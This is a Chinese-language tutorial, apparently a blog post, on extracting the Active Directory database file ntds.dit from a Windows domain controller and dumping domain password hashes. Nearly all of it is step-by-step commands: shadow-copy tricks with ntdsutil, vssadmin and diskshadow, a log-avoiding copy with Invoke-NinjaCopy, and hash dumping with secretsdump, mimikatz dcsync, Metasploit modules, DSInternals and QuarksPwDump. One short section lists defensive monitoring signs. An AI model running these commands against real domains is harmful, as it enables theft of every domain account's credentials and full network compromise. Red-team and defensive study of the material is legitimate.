ntds.dit 的提取与散列值导出
0x00 前言
在通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务,就可以获得这个文件的副本
在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。
ntds.dit中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。
0x01 提取ntds.dit
ntdsutil
ntdsutil 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutil 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的与控制器留下的元数据等。
Ntdsutil.exe支持的操作系统有windows server2003、windows server2008、windows server2012
该工具默认安装在域控上,使用以下命令创建一个快照,该快照包含 Windows 中的所有文件,且在复制文件时不会受到 Windows 锁定机制的限制。
1 | ntdsutil snapshot "activate instance ntds" create quit quit |

加载刚刚创建的快照
1 | ntdsutil snapshot "mount {f7c5aed3-4c76-4e53-8b4a-86614dafff9a}" quit quit |

使用 copy 命令将快照中的文件复制到 C 盘下
1 | copy C:\$SNAP_202211140125_VOLUMEC$\windows\NTDS\ntds.dit C:\ntds.dit |
删除之前加载的快照
1 | ntdsutil snapshot "unmount {{f7c5aed3-4c76-4e53-8b4a-86614dafff9a}" "delete {f7c5aed3-4c76-4e53-8b4a-86614dafff9a}" quit quit |

查询当前系统中的快照,可以看到没有任何快照
1 | ntdsutil snapshot "List All" quit quit |

vssadmin
vssadmin 可用于创建和删除卷影拷贝、列出卷影的信息(只能管理系统 Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的 “diff 空间”)的大小等。
vssadmin 的使用流程和 ntdsutil 差不多,首先创建一个 C 盘的卷影拷贝
1 | vssadmin create shadow /for=C: |

在创建的卷影拷贝中将 ntds.dit 复制出来
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit C:\ntds.dit |
删除快照
1 | vssadmin delete shadows /for=C: /quiet |
vssown.vbs
vssown.vbs 脚本的功能和 vssadmin 类似,可用于创建和删除卷影拷贝以及启动和停止卷影拷贝服务。
vssown.vbs 下载地址:https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
启动卷影拷贝服务
1 | cscript vssown.vbs /start |
创建一个 C 盘的卷影拷贝
1 | cscript vssown.vbs /create c |
列出当前卷影拷贝
1 | cscript vssown.vbs /list |

复制 ntds.dit
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit C:\ntds.dit |
删除卷影拷贝
1 | cscript vssown.vbs /delete {7981F93F-7057-4536-8A43-AEEE1DB22466} |
ntdsutil的IFM
除了上面介绍的通过执行命令来提取 ntds.dit,也可以通过创建一个 IFM 的方式获取 ntds.dit
在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作,这些操作也可以通过 PowerShell 或 VMI 远程执行。
在域控中以管理员模式打开命令行环境,输入命令
1 | ntdsutil "ac i ntds" "ifm" "create full c:/test" q q |

此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在 C:\test\registry 文件夹下
将 ntds.dit 拖回本地后,在目标机器上将 test 文件夹删除
1 | rmdir /s/q C:\test |
Copy-VSS.ps1
nishang 工具包里的 Copy-VSS.ps1 也可以将 ntds.dit 提取出来,nishang 工具包地址:https://github.com/samratashok/nishang
1 | Import-Module .\Copy-VSS.ps1 |
通过该脚本,可以将 SAM、SYSTEM,ntds.dit 复制到与 ps1 脚本相同的目录下。

diskshadow
diskshadow 和 vshadow 功能类似,不过 vshadow 是包含在 Windows SDK 里的,因此实际应用的时候还需要将其上传到目标机器上。
diskshadow 有交互模式和非交互模式,在使用交互模式时,需要在图形化界面里操作
首先创建一个 txt 文件,内容如下:
1 | set context persistent nowriters |
使用 diskshadow 直接加载刚才的文本文件
1 | diskshadow /s C:\command.txt |

因为 system.hive 里存放着 ntds.dit 的秘钥,所以需要转储 system.hive ,不然没法查看 ntds.dit 里内容
1 | reg save hklm\system c:\windows\temp\system.hive |
Invoke-NinjaCopy.ps1
PowerSploit 工具包里的 Invoke-NinjaCopy.ps1 脚本也可以提取 ntds.dit 文件,这种方法没有调用 Volume Shadow Copy 服务,所以不会产生日志文件
PowerSploit 工具包项目地址:https://github.com/PowerShellMafia/PowerSploit
1 | Import-Module .\Invoke-NinjaCopy.ps1 |
impacket
impacket 安装
1 | git clone https://github.com/SecureAuthCorp/impacket.git |
通过 impacket 里的 secretsdump.py 脚本可以直接远程读取 ntds.dit 并导出哈希值
1 | cd ./build/scripts-3.9 |
监控卷影拷贝服务的使用情况
通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。
- 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为
- 监控System Event ID 7036(卷影拷贝服务进入运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件
- 监控创建disk shadow.exe及相关子进程的事件
- 监控客户端设备中的disk shadow.exe实例创建事件。除非业务需要,在Windows操作系统中不应该出现diskshadow.exe。如果发现,应立即将其删除
- 通过日志监控新出现的逻辑驱动器映射事件
0x02导出ntds.dit中的散列值
esedbexport
安装 esedbexport,以 Kali 为例
1 | apt-get install autoconf automake autopoint libtool pkg-config |
导出 ntds.dit
1 | esedbexport -m tables ntds.dit |
安装 ntdsxtract
1 | git clone https://github.com/csababarta/ntdsxtract.git |
将 ntds.dit.export 和 SYSTEM 文件放入到 ntdsxtract 工具的文件夹中,然后导出哈希值,最后的结果将保存在 all_user.txt 里
1 | python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --lmoufile lmout | tee all_user.txt |
如果提示 ImportError: No module named Crypto.Hash,直接 pip install pycryptodome 即可

ntds.dit 包含域内的所有信息,可以通过分析 ntds.dit 导出域内的计算机信息以及其他信息,最后结果将保存在 all_computers.csv 文件内
1 | python2 dscomputers.py ntds.dit.export/datatable.4 computer_output --csvoutfile all_computers.csv |
impacket
将 ntds.dit 和 SYSTEM 文件放入到 impacket 工具的文件夹中
1 | impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL |
或者直接使用 python 执行 secretsdump.py 文件
1 | cd ./build/scripts-3.9 |

NTDSDump.exe
NTDSDumpEx.exe 可以进行导出哈希值的操作,下载地址:https://github.com/zcgonvh/NTDSDumpEx/releases
获取key:reg save HKLM\SYSTEM c:\Sys.hiv
1 | NTDSDumpEx.exe -d ntds.dit -s Sys.hiv -o hash.txt |
JetAttachDatabase() failed
原因:数据库需要修复,执行esentutl /p /o ntds.dit进行修复

mimikatz
mimikatz 有个 dcsync 的功能,可以利用卷影拷贝服务直接读取 ntds.dit 文件并检索域散列值,不过需要管理员权限。
导出域内所有用户的用户名和哈希值
1 | lsadump::dcsync /domain:test.god /all /csv |

导出域内指定用户的用户名和哈希值
1 | lsadump::dcsync /domain:test.god /user:administrator |

也可以通过转储 lsass.exe 进行 dump 操作
1 | privilege::debug |
如果输出内容太多,可以使用 log 命令,这样操作就都会被记录到文本里了

Invoke-DCSync.ps1
该脚本通过 Invoke-ReflectivePEinjection 调用 mimikatz.dll 中的 dcsync 功能,并利用 dcsync 直接读取 ntds.dit 得到域用户密码散列值
Invoke-DCSync.ps1 下载地址:https://gist.github.com/monoxgas/9d238accd969550136db
1 | Import-Module ./Invoke-DCSync.ps1 |

MSF
msf 里的 psexec_ntdsgrab 可以获取目标的 ntds.dit 和 SYSTEM 并将其保存到 /root/.msf4/loot/ 目录下
1 | use auxiliary/admin/smb/psexec_ntdsgrab |

然后,接下来就可以使用impacket工具包等解析ntds.dit,导出域账户和域散列值
除此之外,在获取到会话后,也可以直接用 MSF 提供的模块获取 ntds.dit
1 | use windows/gather/credentials/domain_hashdump |
注意生成的 payload 需要和目标系统位数一致,不然会报错


攻击windows server2012 r2 失败。
DSInternals
DSInternals 主要功能包括离线 ntds.dit 文件操作以及通过目录复制服务(DRS)远程协议查询域控制器。
DSInternals 下载地址:https://github.com/MichaelGrafnetter/DSInternals/releases
安装 DSInternals
1 | Install-Module DSInternals -Force |
直接导出 hash,并保存在 output_hash.txt 文件里
1 | $key = Get-Bootkey -SystemHivePath 'C:\system' |
或者导出 hashcat 支持的 hash,并保存在output_hashcat.txt 文件里
1 | $key = Get-Bootkey -SystemHivePath 'C:\system.hive' |
vshaow 和 QuarksPwDump
在正常的域环境中,ntds.dit 文件里包含大量的信息,体积较大,不方便保存到本地。
如果域控制器上没有安装杀毒软件,攻击者就能直接进入域控制器,导出 ntds.dit 并获得域账号和域散列值,而不需要将 ntds.dit 保存到本地。
QuarksPwDump 可以快速、安全、全面地读取全部域账号和域散列值。
QuarksPwDump 下载地址:https://github.com/tuthimi/quarkspwdump/tree/master/Release
ShadowCopy.bat 使用微软的卷影拷贝技术,能够复制被锁定的文件及被其他程序打开的文件,代码如下
1 | setlocal |
vshadow.exe 是从 Windows SDK 中提取出来的,需要先安装 Windows SDK,下载地址:https://developer.microsoft.com/en-us/windows/downloads/sdk-archive/
Windows SDK 下载安装完后,找到 vshadow.exe ,我这里的路径是:
1 | C:\Program Files\Microsoft SDKs\Windows\v7.1\Bin\x64\vsstools\vshadow.exe |
将这三个文件放到同一个文件夹里后,运行 ShadowCopy.bat 文件,之后可以看到导出了 ntds.dit 和 system.hive 文件

使用 esentutl 修复导出的 ntds.dit 文件
1 | esentutl /p /o ntds.dit |
最后通过 QuarksPwDump.exe 导出域账号和散列值
1 | QuarksPwDump.exe -dhd -sf system.hive -nt ntds.dit -o log.txt |

在 log 里就能看到导出的密码哈希了
